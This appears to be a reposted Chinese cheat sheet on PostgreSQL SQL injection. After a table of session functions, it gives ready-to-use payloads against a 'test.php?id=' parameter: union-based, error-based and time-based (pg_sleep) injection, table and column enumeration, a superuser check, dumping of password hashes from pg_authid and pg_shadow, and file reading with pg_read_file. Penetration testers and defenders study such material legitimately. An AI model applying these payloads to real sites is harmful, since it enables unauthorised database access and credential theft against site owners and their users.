今天遇到一个pg的变态站,索性做下pg总结
1.会话信息函数
名称 返回类型 描述 current_catalog name 当前数据库名(在SQL标准里叫]catalog]) current_database() name 当前数据库名 urrent_schema[()] name 当前模式名 current_schemas( boolean ) name[] 搜索路径中的模式名字,包括可选的隐式模式 current_user name 当前执行环境下的用户名 current_query() text 执行当前的文本查询,由客户端提交(可能包含多于1句) pg_backend_pid() int 连接到当前会话的服务器进程 ID pg_listening_channels() setof text 正在侦听的当前会话的信道名称 inet_client_addr() inet 连接的远端地址 inet_client_port() int 连接的远端端口 inet_server_addr() inet 连接的本地地址 inet_server_port() int 连接的本地端口 pg_my_temp_schema() oid 会话的临时模式的OID ,不存在则为 0 pg_is_other_temp_schema( oid ) boolean 是否为另一个会话的临时模式? pg_postmaster_start_time() timestamp with time zone 服务器启动时间 pg_conf_load_time() timestamp with time zone 配置加载时间 session_user name 会话用户名 user name 等价于current_user version() text PostgreSQL版本信息标黑的为常用函数.
2.注入
回显方式
test.php?id=1 order by 5–+判断字段 test.php?id=-1 union select null,null,null,null,null–+//需要判断字段类型,先用null填充 test.php?id=1 union select null,’1‘,null,null,null–+//测试类型和回显位置 test.php?id=1 union select null,version(),null,null,null–+ //查看数据库信息,其他注入语句类似错误回显方式
test.php?id=1 and 1=(select version())::int–+ test.php?id=1 and 1=(select version() as int)–+延时方式
test.php?id=1;select pg_sleep(10)–+
基本语句:
SELECT table_name FROM information_schema.tables WHERE table_schema = ‘public’ limit 1 offset n;//table_schema = ‘public’排出系统表,表 SELECT column_name FROM information_schema.columns WHERE table_name =’table’ limit 1 offset n; //字段select relname from pg_class limit 1 offset n;//获取表名 select oid from pg_class where relname=tablename;//获取oid select attname from pg_attribute where attrelid=16402 limit 1 offset n;//获取列名 select attname from pg_attribute where attrelid=(select oid from pg_class where relname=(select relname from pg_stat_user_tables limit 1 offset 1)) limit 1 offset 1; //合并前三个
获取数据库名 //pg不能跨库,只能在终端上切换(以下两个功能一样)
select datname from pg_database limit 1 offset 1; select datname from pg_stat_database limit 1 offset 1;判断当前用户是否为超级用户(返回值为bool)
select usesurper from pg_user where usename=current_user; select usesurper from pg_shadow where usename=current_user;获取数据库帐号hash(此帐号也会在系统中建立,需usesurper权限查看)
select rolname,rolpassword from pg_authid ; select usename,passwd from pg_shadow;获取pg安装路径
SELECT current_setting(‘hba_file’) ;
3.系统函数
pg_logdir_ls(),pg_ls_dir(),pg_file_rename(),pg_write_file(), pg_read_file(),pg_file_length() 为内置函数,可以进行读写等操作,不过他们都被限制在pg的指定目录下,也是鸡肋
如:select pg_read_file(‘global/pg_database’,0,10000000);
4.基本操作符
– ,/* //注释符
:: //PostgreSQL 特有的类型转换操作符
|| // 连接符
$q$text$q$ //$$ 之间可以是任意内容,来代替单引号。原理看这: $q$逃逸语法
查看更多关于PostgreSQL SQLinject 基础篇 - 网站安全 - 自学php的详细内容...
声明:本文来自网络,不代表【好得很程序员自学网】立场,转载请注明出处:http://haodehen.cn/did14898